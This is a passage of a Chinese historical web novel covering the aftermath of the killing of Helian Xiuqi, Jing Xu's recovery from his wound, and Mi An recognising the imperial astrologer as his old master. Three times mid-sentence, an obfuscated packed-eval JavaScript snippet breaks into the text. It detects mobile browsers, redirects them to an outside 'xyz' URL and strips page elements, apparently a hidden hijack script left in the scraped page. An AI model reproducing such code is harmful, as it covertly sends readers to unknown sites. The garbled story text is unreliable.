宓安捂着心口,强忍着钻心的疼,轻喘着摇了摇头,拿过了暗卫身上的弓。 赫连修齐耳尖一动,本能仰头避开,宓安的箭从二人之间微末的距离疾驰而过。赫连修齐大惊,无暇分身,宓安的箭破空而来,不知疲惫似的,景煦的胸口淌血不止,也像感觉不到疼一样。 宓安的箭带着杀意,支支瞄着赫连修齐的要害,景煦看出他的意图,竟挥剑挡开了宓安的一支箭,边与赫连修齐交手边皱眉看向宓安。 宓安挽弓如满月,对上景煦的眼神,用口型对他道:蛊毒能解,杀他便是。 景煦将信将疑,但赫连修齐不好对付,杀死他确实比活捉容易得多。赫连修齐无暇顾及宓安,见景煦使出了全力,嘲讽道:“怎么,昭王殿下不怕我死了,青疏要为我陪葬吗?” 景煦冷笑一声,伤口还在不住流血,他却像感觉不到疼一样,招招致命,逼得赫连修齐往宓安的方向退去。 宓安一箭破空,射穿了赫连修齐的肩膀,仅仅一瞬的停滞,景煦如鬼魅般出现渍他身后出现,一剑洞穿了他的咽喉,与此同时,宓安的两支箭也狠狠钉在了他的心口。 赫连修齐目眦欲裂,不敢置信地低头看向从自己身前穿透的剑和箭,缓缓倒了下去。 宓安松了口气,大步跑到景煦身边,颤抖着想看看他的伤口,却被他满身的鲜血吓得不知从何下手。 景煦轻轻握住宓安的手,声音虚弱:“阿宓的手,快上药。” 宓安的手被弓弦割出了很深的口子,正一刻不停地淌着血,但他顾不上自己,从身上摸出一颗药丸先喂给了景煦。景煦受伤严重,实在撑不下去了,虚弱地坐到了地上。宓安跟着他蹲下,他说不出话,眼泪啪嗒啪嗒落到景煦身上。 景煦这才察觉他的异常,连忙为他擦去眼泪,问道:“怎么说不出话了?” 宓安拉起他的手,颤抖着在他手心写到:暂时失声,无事。 景煦放下心来,人更加虚弱了,他拉着宓安,似乎想说什么。宓安将耳朵贴近,听到景煦有气无力的声音:“别担心。” 看着彻底昏迷的人,宓安的眼泪终于决堤而出。这个人真是……明明自己都已经撑不住了,还只顾哄他不要担心。 宓安小心地看了看景煦的伤口,幸好他的内力挡了一下,那一剑并未伤到肺腑。宓安让暗卫将景煦扶回去,自己则慢慢走向了赫连修齐的尸体。眼前的尸体双眼布满血块,已经开始腐烂,与前世景煦的死状一模一样。 宓安看着尸体,挂着眼泪无声地笑了起来。 静默半晌,宓安俯身将那块莲花挂饰解了下来,景煦想要,那就给他。 “失声了?” 宓安听到声音吓了一跳,回头看去,正是多日不见的枨衔水,他点点头,枨衔水却不在意道:“小病,你自己能治。” 宓安疑惑地看着枨衔水,想问他是不是一直跟着他们,既然一直跟着,为何不帮忙。 枨衔水仿佛看懂了他的意思,随口道:“你们的事我还是少插手才好,不辞辛劳跟了你们一路够意思了吧?” 宓安:“……” “走吧,我送你回去。”枨衔水低头翻找袖中的药瓶,想找一瓶能给宓安用的,“别这么看着我,回头景煦那臭小子要是知道我让重伤的你独自回城,又要大闹占星台了。” 40. 养伤 “你别跟他生气。”枨衔水犹豫了半晌,还是开口劝和道,“我可经不起你们吵架了,一吵架景煦就不想做皇帝,这摇摇欲坠的国祚看得我心慌。” 宓安垂着眸子,他确实很生气,明明因为景煦总不顾自身护着他才吵了一架,明明景煦才答应他不会涉险,可方才千钧一发间景煦还是推开了他,替他挡了一剑。 想起景煦满身的伤,宓安又气又心疼,但更多的还是愧疚。 前世的事总在他心头挥之不去,景煦瞒着他引蛊,替他死去,以至于即便重生,宓安还是战战兢兢,总怕景煦重蹈覆辙。 可是他千防万防,防住了景煦引蛊,没防住赫连修齐这一剑。 笼岱村的村民们躲在暗处偷偷打量两人,宓安没力气应付他们,快步回了小院,搭上景煦的脉。伤得不轻,但好在没有性命之忧,要好好养一阵子了。 枨衔水看出宓安心情不好,好笑道:“我以为你会先骂他——谁稀罕你自作主张,谁允许你替我挡的。” 宓安摸了张纸,慢慢写下几个字推到枨衔水面前,后者低头一看,笑了一声。 纸上写的是:我是这么不知好歹的人? “倒不是不知好歹,只是你和他半斤八两。”枨衔水也搭了搭宓安的脉,“赫连一死,你体内的蛊毒随时会扩散,很危险。我帮你们制住他不就好了?你们两个真是,净给我添乱。” 宓安心里埋怨他不早说回来帮忙,面上却乖乖点了点头。 方才骗景煦自己能解蛊毒,现在还没过去半个时辰,已经开始感到不适了,宓安看向枨衔水的袖子,后者敲了下他的头,拿出几个玉瓶:“这个你吃,这两个他吃,那个外用。” 虽然碍于天道规则枨衔水不能使用超脱常理的药物,但他的药也是极品的,宓安一闻就知道了,小心翼翼地喂了景煦两颗药丸,又给他的伤口敷上了厚厚一层药粉。 枨衔水瞥他一眼:“你可真不心疼,你知不知道这一瓶药粉要挖多少白及。” 宓安当然知道,写到:回去让暗卫帮你挖。 枨衔水不置可否,又看了一眼半死不活的景煦,说道:“本来回京拿了景煦那块玉佩就能给你解蛊,现在好了,麻烦透了。” 宓安抿了抿唇,写字问他:现在要怎么解? 枨衔水道:“姑师王宫有味药材,加上西岐王室信物和景煦从小戴着的香囊。” 景煦这边就不用说了,姑师已灭,找药材也不算难事,西岐倒是有些棘手,回头恐怕要从那两个不太聪明的王子身上下手。 外面暗卫站了一院,个个面色沉重,宓安写了几个字出了卧房,举起纸让他们看。 ——不要摆出这副死了主子的神情,很晦气。 影十三差点哭出来,愁眉苦脸地哇哇叫:“公子!!主子他没事吧!都怪我们没用,要不是我们被阵法困住,你和主子也不会孤立无援。” 宓安又写:你们来了也帮不上忙,今日有国师出手才能取胜。 影十三更难过了:“果然还是因为我们没用!” 枨衔水站在门口辨认宓安手里的字,不由勾起一抹笑,他就知道,出手再隐蔽,也瞒不过宓安的眼睛。 思及此处,枨衔水微不可查地叹了一口气,他可能又要长白发了。 安抚了自责的暗卫,宓安又坐回了景煦床边,缓缓叹了口气。其实最应该自责的是他才对,景煦武艺高超,沙场上都没受过重伤,却次次为了他命悬一线。 床上的人呼吸平稳,胸口的伤也已经止住了血,宓安又搭了下景煦的脉,确认无大碍才放下心来,趴在床边睡了过去。 景煦醒来时已是深夜,一睁眼就见宓安趴在他身边睡得极不安稳,他艰难地动了动手指,轻轻抚上了宓安的脸。 宓安立刻睁开了眼,起身握住了景煦的手腕,景煦知道他这是在把脉,忍着没有回握他,笑道:“我没事。” 烛火已经熄了,宓安不想去点灯写字,便拉过景煦的手在他手心慢慢写到:你答应我的,不会涉险。 景煦笑容一僵,握住了宓安的手:“脑子还没反应,身体先动了,阿宓看在我重伤未愈的份上不要骂我了。” 宓安因为他受伤太过惊惧,一时失了声,景煦心里很不是滋味:“怪我让你受惊了,你的嗓子……” 宓安又写:无事,休息几天就好了。 宓安拉着景煦的手,一字一字慢慢将枨衔水过来的事写给他,写到最后撒了个谎:国师已经将我的蛊解了。 景煦松了口气:“太好了。” 这段时日虽然宓安从没因蛊毒感到过不适,但景煦还是日日提心吊胆,那日宓安又因为蛊差点被赫连修齐伤到,景煦真是心都提到了嗓子眼,现在一颗大石落下,他终于可以放心了。 枨衔水端着药进来时就听到景煦这句话,还在纳闷最近有什么好事,宓安轻飘飘地看了他一眼,枨衔水了然,帮腔道:“景煦把这个喝了,青疏一会儿记得把桌上的药丸吃了,蛊毒解了也要好好调理。” 景煦看了一眼枨衔水手里漆黑的药汤,转头看向了宓安,眼巴巴地等着他喂,宓安却装没看到,吃了药就起身打算离开,景煦一手接过汤药一手将人拉住:“阿宓去哪?” 宓安拍开他的手,俯身写到:去翻旧账。 景煦一顿,立刻仰头把药喝了,苦得皱起了眉头,委屈道:“怎么是苦的?” 枨衔水狠狠翻了个白眼,指着宓安道:“你又给他喝甜的?说了多少次药做成甜的会影响药效!” 宓安摸了张纸过来,提笔道:骂他,不要骂我。 枨衔水果然又指向景煦:“你也被他惯坏了?药本来就是苦的!等天亮再喝一碗!” 他气冲冲地走了,宓安捧着纸笔也跟了上去,留景煦独自在屋里满怀惆怅。 “跟着我做什么?”枨衔水给自己倒了杯茶,莫名其妙地看着宓安。 宓安拍了拍自己的腰,又指了指他的腰,伸出了手。 枨衔水装傻:“看不懂。” 宓安只好埋头写字:国师拿我的挂饰做什么? 枨衔水喝茶的手一顿,心道这小子真是和小时候一模一样,机敏的有些过头了。 见宓安还在看自己,枨衔水移开了视线:“挺好看的,归我了。” 宓安写到:这个雕的拙劣,国师缺挂饰的话我回头再雕一个。 枨衔水道:“我就想要这个。” 宓安看他的眼神变得微妙起来,甚至后退了一步,枨衔水“啪”一声把茶杯撂到桌上,没好气道:“你再给景煦雕一个不就成了?非要抢我的?” 宓安莫名其妙,明明是他把挂饰从自己身上顺走的,怎么变成“抢他的”了? “你别太惯着他。”枨衔水将挂饰拿出来看了一眼,又好好收回了袖中,“反正这个是我的。” 宓安的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761614|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更微妙了,看着枨衔水张了张嘴,又抿了抿嘴,拿着毛笔想下笔又犹豫,直到墨渍洇透了纸背,才写到:景煦和我感情很好。 枨衔水:“?” 宓安又写:你知道的,我们从小相识,我早就非他不可了。 这下轮到枨衔水莫名其妙了:“谁要听你们的恩爱往事?” 宓安抬头看了他一眼,继续写:我才二十岁。 枨衔水看着眼前的纸,沉默了许久,久到他都怀疑自己是不是不识字了,这才抬眼看向了满脸警惕的宓安。 枨衔水被他气笑了:“你没事吧?深更半夜的说什么鬼话?” 宓安也觉得好笑,他只是开个玩笑,可没真以为枨衔水对自己有想法,可是对方铁了心要这块雕工生疏实在称不上好看的挂饰也着实奇怪,难道这块石头是什么稀罕东西?但他怎么看这都是一块普通的玛瑙。 枨衔水给了他两个白眼,把人赶回景煦屋里,并警告道:“别打我挂饰的主意。” 景煦在隔壁只能听到枨衔水的声音,宓安写了什么他一概不知,好奇得心痒,见宓安回来,立刻问道:“阿宓和国师聊什么呢?” 宓安坐到床上,拉过他的手慢慢写:赫连修齐的那个挂饰,我拿来了,本想给你,但国师要走了。 景煦好笑道:“怎么一个两个都要抢我的东西?我去抢回来。” 他说着就要下床,宓安赶忙按住他,趴在他身上往他胸口写字:再雕一个送你就是了。 “那怎么一样。”景煦胸口被宓安的手指轻点着,一时心猿意马,“那可是阿宓雕成的第一个,我就要那个。” 宓安扒开景煦的前襟看伤口,见已经开始愈合才放下心,避开伤口在他身上轻轻写着:那个丑死了,我要送你一个好看的。 “第一个和好看的我都要。”景煦握住他的手,不满道,“我就说枨衔水目的不纯,之前就总偷听我们聊天,现在又抢我的挂饰,他到底想干什么?” 宓安笑了下,他心底有个猜测,但现在还不敢确定。 方才枨衔水喊他吃药的时候,叫的是“青疏”。他记得前世与枨衔水初见,已经是景煦登基五年后,那时对方总是客气疏离地称他“宓相”,重生后大概因为他们两个给他添了大麻烦,枨衔水便总是阴阳怪气地直呼大名,这声“青疏”在宓安听来,着实有些突兀了。 宓安的思绪渐渐飘远,儿时师父教他篆刻,教他制花笺,教他酿酒,初学时的第一个印章,第一张花笺,第一杯酒,都给了他师父。 他的师父祝澜有一双极好看的眼睛,儿时宓安不懂事,但后来回想起,那双眼睛确实不该属于一位老人。虽然赫连修齐处处暗示他就是祝澜,但二人面对面时,宓安丝毫没有熟悉的感觉,尤其连眼睛也十分陌生,让宓安感到非常奇怪。 反倒是枨衔水,他的眼睛明亮清澈,像一汪湖水,也像极了宓安记忆中的师父。 只是前世今生,他几乎有半生岁月不曾见过祝澜了,师父的样貌早就模糊,所以一时也不敢确定。 见宓安出神,景煦捏了捏他的手,安慰道:“赫连修齐已经死了,阿宓的蛊毒也解了,别不开心了。” 宓安点了点头,拉着景煦的手慢慢写到:小时候,师父总让我和你做朋友,先前我以为那是赫连修齐为了利用我除掉你,可如果,他并不是我师父呢? 说不定,我师父是真心想让我们做朋友的呢。 41. 相认 “阿宓知道了什么?” 宓安摇摇头,写到:只是猜测。国师说过我们都是帝王星,说不定我们做朋友对国运好。 景煦认真道:“做夫妻对国运更好。” 宓安手一顿,抬手冲他手心拍了一巴掌,一笔一划写了一个“滚”。 “唉,好凶。”景煦笑着把人抱住,“阿宓什么时候能说话?枨衔水的药到底有没有用?” 宓安微微挣扎,又怕碰到他的伤,只好反手搂住他,伸手在他后背写到:你有伤,别抱我。快好了。 “不给抱我就好不了了。”景煦无理取闹,“我不想喝国师的苦药。” 宓安笑了下,写到:良药苦口。 忽的,宓安愣了下,枨衔水的话突然在耳边回荡——“说了多少次药做成甜的会影响药效!” 他什么时候说过这话?明明前世今生他们也没说过几句话,今天之前他甚至都不知道枨衔水也懂医术。 宓安猛地站起身,拍了拍景煦以作安抚,小跑着去了隔壁,直接推开了门。 枨衔水正在看书,听到声音抬起头,和满脸慌张的宓安对上了眼神,半晌,枨衔水阴阳怪气道:“发癔症了?” 宓安不说话,只直直盯着他,盯的枨衔水后背发毛,小心地回头看了一眼确定自己身后没鬼,莫名其妙道:“天都快亮了,你不睡觉干什么?” 景煦拖着还没痊愈的身子寻了过来,也十分奇怪,皱着眉看向了枨衔水。 枨衔水还以为宓安是来让他给景煦治伤的,现在被景煦充满敌意的眼神盯着,脾气更差了:“你俩是不是有病?不管什么灵丹妙药治病都需要时间,胸口都被剑刺穿了你想让他明天就痊愈啊?你干脆把我煮了入药得了!” 宓安拉了拉景煦的袖子,不容拒绝地将他扶回了床上,交待他好好养伤不许乱动,自己又跑去了枨衔水屋里。 枨衔水看着去而复返的人,眉头皱成了一团:“治不了。” 宓安走近,坐到了他对面,伸手在他茶杯里点了一下,顶着枨衔水不敢置信的眼神,往桌上缓缓写了两个字。 ——师父。 枨衔水一顿,继续看起了书:“不收徒。” 宓安又点了一下他的茶,枨衔水一把夺过茶杯,顺手敲了下宓安的头:“我喝什么!?” 宓安才不管他,伸手抢回来茶杯,继续写:为什么不认我? 枨衔水看着桌上的水渍凝成水珠,漠然道:“缘分尽了。” 宓安想说的很多,这点茶水显然不够,枨衔水看出他的意图,摸出一颗珠子给他:“拿着它说吧。” 宓安接过,心下奇怪,这珠子好像并不能让他开口。 枨衔水看了他一眼:“我说了,什么灵丹妙药治病都需要时间,这珠子只是能让我听到你的心声,治不了你。” 宓安心里“哦”了一声,心道既然有这么神的东西,那一天治好他的失声有什么不行? 枨衔水忍无可忍:“因为你是人,你到底想说什么?” “师父为什么不认我?” “不是说了,缘分尽了。” 宓安不信:“既然尽了,你为什么还处处帮我?” 枨衔水随口道:“这是我和景煦的缘分。” 宓安起身就要出去,枨衔水叫住他:“这就问完了?” 宓安摇摇头:“不是,我去和景煦说让他拜你为师,回来还要继续问的。” 枨衔水好笑道:“坐下。” 宓安乖乖坐下,面色委屈,枨衔水想摸摸他的头,又觉得自己现在的样貌太过年轻,恐怕景煦会误会,只好屈起手指敲了敲桌子,说道:“只是师徒缘分尽了,作为国师,还有责任对国运尽心。” 宓安放空了自己,枨衔水听不到他的心声,叹了口气:“二十几岁了,还像个小孩子。” 宓朗回常年在外征战,宓安的儿时时光只有师父这一个长辈,很多时候,祝澜比起宓朗回更像他父亲。 祝澜死后,除了宓朗回偶尔回京时宓安会回将军府住几天,其他时间他都常居宫中,一来他愿意常常看到景煦,二来也是让景陆安心。 现在想想,前世景煦登基后宓安就想离开,除了不敢面对景煦的感情,其实也是因为儿时在宫中受了太多束缚,他真的无比怀念从前和祝澜一起游山玩水,自在如风的日子。 “等景煦伤好了,你同他说一声,景陆身子已经空了,景烈谋划着造反呢。”枨衔水有些头疼,前世景烈被北夷人利用,早早就丧了命,这次回来景煦和宓安将北夷打的不敢造次,倒改变了景烈的人生轨迹,竟然有力气造反了。 朝中乱着,景烈又日日派人来占星台威胁他出面坐实自己真命天子的身份,枨衔水不堪其扰,干脆来寻景煦和宓安,暗中相助的同时也能催催景煦赶紧登基。 没想到景煦屡教不改,又为了宓安把自己伤成了这样,枨衔水一时也不好开口催他回京了。 宓安却摇头:“你自己去。” 枨衔水好笑道:“行了,你比景煦还幼稚。” 他起身将书放到桌上,下逐客令:“天都亮了,为师要睡了。” 宓安听到这话,眼睛亮了起来,一时又觉得更委屈了,枨衔水及时打断他的情绪:“你可别哭,在我这红着眼回去景煦得把我占星台拆了。” 宓安气鼓鼓地瞪了他一眼,气自己说不出话,否则一定狠狠吼他一通,骂他假死骗人,再骂他这么多年不与他相认。 宓安心里已经骂上了,枨衔水被吵的头疼,出手拿回了那颗珠子:“快走。” 这间屋子被枨衔水施了术,隔绝了外界一切,景煦在隔壁听了许久,只听到桌椅挪动的声音,宓安回来时见他还睁着眼,皱起眉头就站到了他跟前,字也不写了,就用眼神问他为什么不好好休息。 景煦心虚道:“昏迷的时候已经睡了很久了,现在不困。” 宓安脱了鞋子爬上床,窝进他怀里,景煦小心问道:“阿宓和国师聊什么呢,去了这么久?” 宓安的手动了动,随便在景煦身上找了个地方写字:那个挂饰给国师了,我再给你雕个新的。 景煦不可置信,欲言又止了好半天,直到宓安已经昏昏欲睡,他才委屈地开口:“我在阿宓心里不是第一位了吗?” 宓安已经困了,一时没听清他说什么,只听出来是个问句,便胡乱点了点头,沉沉睡去了。 景煦愣了半天,当即就想去问问枨衔水给宓安下了什么迷魂药,但宓安正枕着他的胳膊睡得香甜,景煦怕吵醒他,只好先放下这个想法,睁着眼睛躺到了日上中天。 晌午日头正毒,宓安刚刚转醒,就听到院里枨衔水鬼哭狼嚎般的质问:“宓青疏!你又和景煦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770318|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么了!国祚呢!我的国祚呢!?” 宓安脑子混沌着,眼睛半睁不睁,慢慢看向了景煦,摸过他的手写到:你又不想当皇上了? 景煦睁眼说瞎话:“我没啊,别听他瞎说。” 宓安揉了揉脸,起身出了门,枨衔水一见他就怒气冲冲地道:“你让开,我今天非要打他一顿。” 宓安手上没有纸笔,珠子也被枨衔水收了回去,只能一手撑住门框挡住他,哭笑不得。 “你们昨晚聊什么了?又准备天涯浪迹去了?”枨衔水咬牙切齿,“景煦伤好了立刻给我回京,你心里就没有一点黎民百姓?” 景煦翻了个身,懒懒道:“想想都不行?我又没真跑。” 枨衔水冷哼一声,景煦打断他:“把那个玛瑙挂饰给我。” “不可能。”枨衔水瞥他一眼,移开话头,“笼岱村的村民被赫连修齐下了蛊,现在赫连死了,那些村民也活不成了。” 景煦问道:“阿宓不是说蛊毒能解?” 枨衔水说漏了嘴,顿了下,立刻找补道:“青疏不一样,他内力深厚又从小被天灵地宝养着,这些日子还学了压制蛊毒的功法,解蛊轻而易举。这里的村民都是半吊子蛊师,本身就有毒,救不了了。” 见两人神色不对,枨衔水道:“你们也不必自责,笼岱村是蛊村,他们与赫连修齐只是各取所需,这些年没少干杀人越货的勾当,早该死了。” 正说着话,门外突然传来了打斗声,有人撕心裂肺地喊着:“我要见殿下!让我见殿下!” 这声音耳熟的很,宓安看向景煦,用口型道:图武。 正是那日饭桌上脸色不善的瘦小男人,景煦坐起来,扬声道:“让他进来。” 暗卫将图武扔进了屋,图武爬起来,又跪下向景煦行了一个大渊礼,直说道:“殿下,笼岱村人人都该死,但我妻儿从未做过害人的事,求殿下高抬贵手,放他们一条活路。” 景煦问道:“你妻儿在何处?” 图武看向了宓安,后者正在漫不经心地喝茶,景煦笑了声:“看他做什么,本王在问你话。” 图武手臂撑在地上不住地发抖,似乎在犹豫景煦是否可信,沉默片刻,他深深叩头:“他们在后山的草屋。” 景煦靠在床头,语气无波,甚至有些冷漠:“说说赫连修齐,说的有用,本王可以放过他们,若是无用……” 他轻轻扫了图武一眼,笑道:“暗卫将你妻儿的人头带回来,用不了一刻钟。” 图武抖如筛糠,又求助似的看向了宓安,宓安仍然在喝茶,枨衔水托着腮看戏,闻言笑道:“你总是看他,是觉得他长了一副温和心善的样子吗?” 图武连忙低下了头,不敢再看,枨衔水说道:“赫连修齐就是他亲手杀的,你不要指望他心地善良了,从实招来才是唯一活路。” “是……”图武咽了口唾沫,十分紧张,“我们村的人,代代养蛊为生,但蛊师脸上总会有血纹,受人白眼。于是我们……就将养成蛊种到普通人身上,以此威胁他们,要银子。” “蛊虫能让人长寿,有的蛊师能活三五百岁青春永驻,我们毕生的追求便是长生,但从来没有人成功过。” “五年前,隆村长带着赫连长老来了村中,对他十分敬重,说他便是成功靠蛊长生的,还要将长生之法教给我们。” 42. 独行 “我们起初不信,但按他的方法,脸上的血纹竟真的消失了。” “半月前,赫连长老突然召集了所有人,说不久将有个人到这里,就是您二位……他说您身上有能让我们长生的宝贝。” 宓安写了几个字,推了推枨衔水,后者扫了一眼,开口道:“天神祭品是怎么回事?” 图武立刻说道:“那天神便是赫连长老,他传我们长生的法子,要童子作祭品交换。” 景煦奇怪道:“为何天神牌位上的名字不是赫连的名字?” 图武一愣,说道:“我们没见过那牌位,竟、竟不是赫连长老的名字?” 枨衔水心说那厮一门心思冒充我,自然要做戏做全套,只是赫连修齐没想到,宓安无情得很,就算他真是宓安的师父,宓安也不会手软的。 无情的宓安正在一杯一杯喝着茶,降低自己的存在感。他还不打算对景煦坦白,免得对方猜到自己和枨衔水串通起来骗他蛊毒已解的事,现在还是少说话的好。 景煦总觉得这些事有些不对,却说不出哪里不对,赫连修齐布局了这么多年,就这样轻飘飘地死了,实在有些草率。 枨衔水看出他在想什么,悄悄叹了口气,还是决定帮着自己徒弟:“我说过了,此行顺利。” 景煦想到了什么,问他:“那日你是不是出手了?” 枨衔水点了下头,景煦了然,难怪能轻易将赫连修齐击杀,原来是枨衔水又和天道对着干了。 宓安看了景煦一眼,像听到了他的心声一般,指了指他的胸口,提醒他这一战并不简单。 景煦以为宓安又要翻旧账,立刻认错:“我知错了,别骂我了。” 枨衔水没眼看,便转头看向了图武,说道:“你们所有人都被赫连修齐下了蛊,现在他死了,不出五日,你们都活不了。” 赫连修齐那长生之法,便是他将蛊虫种到村民身上的桥梁,吸取其他蛊师身上的蛊毒壮大自身,难怪短短几月他的功力便比北夷交手时精进十倍不止。 笼岱村的村民们养蛊害人终被反噬,也是因果报应。 图武似乎早就知道,听到这话也不见害怕,只是又求景煦:“我妻儿不曾养蛊,求殿下……” “本王会让人护送他们去大渊。” “多谢殿下!多谢殿下!”图武一颗心终于落了地,又哭又笑地瘫坐在地上。 宓安深深看了他一眼,只觉报应不爽,老天让他遇到景煦救他妻儿一命,想来也是无辜之人命不该绝。 不出五日整个村的人都会死去,这些人提前得知了自己的结局,多数人崩溃大哭,有些人甚至冲到了隆村长家中,对这位往日敬重的长辈大打出手。 不过任他外面腥风血雨,小院里仍然一片祥和静好,枨衔水将朝中的事告诉了景煦,催他伤好了立刻回京,宓安却在发愁该找个什么借口让景煦独自回去。 他要和枨衔水一道去找解蛊的药材,景煦在的话可就瞒不住了。 宓安手里摩挲着茶杯出神,落在景煦眼里,却是他因为笼岱村即将死去这么多人而心情低落,看着宓安的侧脸,景煦又想起了前世种种。 前世的他过于暴戾,登基后便雷霆手段收拾了一众贪官,对罪大恶极之人更是处以极刑,那时宓安似乎就总是看不得这些。 就连朝青那些江湖事,宓安也从未亲手杀过人。 医者仁心,想来是见不得生死之事的。 他这倒是冤枉宓安了,若是宓安知道他此刻所想,一定会狠狠翻个白眼,质问他:你是没见过我杀人吗?恶人该不该死我会拎不清吗? 现在两人都不知对方心思,只是一个想瞒着人独自回京,一个想找借口独自留下,倒是不谋而合了。 图武离开后,景煦看了宓安半晌,不知在想什么,突然转头问枨衔水:“阿宓什么时候能说话?” 枨衔水正在起卦,闻言随口道:“明日。” 见景煦又躺了回去,枨衔水指了指他,说道:“你这伤还要修养半个月,按时吃药,不准吃青疏的方子。” 他着急让景煦养好身子快些回京,若是喝宓安那好喝的药又要拖上许久。 宓安向景煦投去一个爱莫能助的眼神,写字到:良药苦口。 景煦叹了口气,皱着眉将又苦又酸的药汤喝了,躺在床上半天缓不过神。宓安看了枨衔水一眼,后者翻了个白眼,收起铜钱出去,顺手关上了门。 宓安笑了下,站在床边弯腰看景煦,景煦抬眼和他对视,笑道:“怎么了?” 一个蜻蜓点水的吻落下,景煦呼吸一窒,伸长手臂将宓安揽了下来,让他趴在自己身上,一手搂着宓安腰,一手按着他的头,细细亲了回去。 宓安发不出声音,但逐渐急促的呼吸声暴露了他的情绪,景煦破开他的牙关,亲得宓安有些喘不过气。 若宓安能说话,应当已经开始说“不许”了,可他现在发不出声音,只能用力推开景煦作乱的手,景煦却不容他反抗,翻了个身将人压在身下,低头继续亲他。 宓安顾及景煦的伤口,不敢用力挣扎,景煦于是变本加厉,扯开了宓安的衣裳,在他胸口留下了一点红痕。 “不许……”宓安挡住自己的胸口,“景煦,起来……” 景煦撑起身子,笑着看他:“阿宓能说话了?” 宓安这才意识到自己能出声了,当即凶道:“起来,不许碰我!” “不要。”景煦埋头舔了一下宓安的颈侧,无理取闹道,“我的伤口好痛……” 他不提伤口还好,提起来宓安更生气了:“你还说!谁准你替我挡剑的?我们才吵完不到一盏茶的时辰,你就忘了因为什么吵的?” 景煦趴在了宓安身上,哼哼唧唧地说道:“别骂我了,我好虚弱。” “等你好了,我日日在你耳边骂你。”宓安声音还有些沙哑,却不耽误他骂景煦,“景长昱,再有下次,我就再也不理你了。” “我知错了。”景煦抱紧了他,“阿宓别吓我。” 好不容易与宓安互通心意,前世那样的日子,他不敢再经历了。 两人一时都沉默下来,宓安红着眼眶,强忍着不想落泪,景煦看着他水光潋滟的双眸,心疼地吻去眼角的水珠:“阿宓打我一顿出出气吧。” “回去让我爹打你。”宓安冷哼一声,“他那根棍子还在将军府呢。” 景煦笑了起来,附和道:“好,老丈人打也是一样的。” 宓安将景煦推到一边,自己坐起身看了看他的伤口,见没有裂开才松了口气,问道:“我们什么时候回京?你的伤再养半月就可以乘马车了。” “那就半月。”景煦挪了挪身子,枕在了宓安腿上,舒坦地呼出一口气,“朝中有我的人,他暂时兴不起风浪。” 景烈确实太蠢,竟然能想出找枨衔水坐实他身份的法子,只是虽然愚蠢,到底也是皇子,朝中景煦看不顺眼的人不少,这些人自知得不到昭王重用,难免会被景烈拉拢起来。 “这半月按时吃药上药,不许早起练功,也不许对我动手动脚。”宓安拿过枨衔水新制的药膏,慢慢涂到景煦的伤口上,“伤口要是裂开我就抽你。” 景煦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777710|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“知道了。阿宓似乎和枨衔水变熟络了。” 宓安面不改色,手上动作不停:“国师帮我们重生,又千里迢迢跟来帮忙,这份情总要承的。” 景煦“哼”了一声:“这是他该做的。” 宓安好笑道:“你怎么总看不惯国师?” 景煦犹豫了一下,宓安敏锐地捕捉到了他的停顿,抬眼看向了他:“有事瞒我?” 景煦讪讪一笑:“不是什么大事……” “啪。” 宓安将药膏拍到了床头的小案上,凶道:“瞒我什么了?” 景煦紧紧拉住宓安的手,小声道:“也没什么……就是前世引蛊之前,我去找过他,问他这法子是否可行。” “他说他已经在找解蛊的办法了,让我再等等。我说那要等到什么时候,万一阿宓蛊毒发作了怎么办?” 景煦皱起了眉头,语气不善:“他说万一发作了他可以费些力气直接将蛊引给我,到时候阿宓只是受些苦,我直接丧命。” “我哪舍得阿宓受苦。” 宓安听着,沉默良久,前世得知他中蛊时,枨衔水一定替他找过解蛊的法子,只是不便与景煦多说,景煦也不信任他,于是先一步引了蛊。 他以为前世的自己孤身一人,可原来爱人和师父都在努力救他,只有他一无所知,一门心思地想离开深宫。 “景煦,你是什么时候知道我中蛊的?” 景煦想了下,说道:“登基后没多久,枨衔水就告诉我了。” “那你不让我离开,是因为我的蛊毒吗?” “不全是。”景煦抱住了宓安的腰,“更多当然是因为我不想看不到你。” 宓安叹了口气,轻轻摸了摸景煦的头,心里为自己即将支开他独自去寻解蛊的药材道了声对不起,开口道:“等所有的事情都解决,我会一直在你身边的。” 他这话说已经有了些暗示意味,景煦却浑然不觉,猛地坐了起来,向宓安确认道:“真的?真的一直陪我?” 宓安好笑地推着他躺下:“当然是真的,你好好躺着,不许这么大动作。” 景煦抱着宓安低声笑了起来,枕着他的腿闭目养神了。 半月时日转眼而过,笼岱村的村民得知自己活不久后,有的跑了出去,有的把自己关在了家里,暗卫跟着那些跑出去的人防止他们伤人,如今也都带着那些人的死讯回来了。 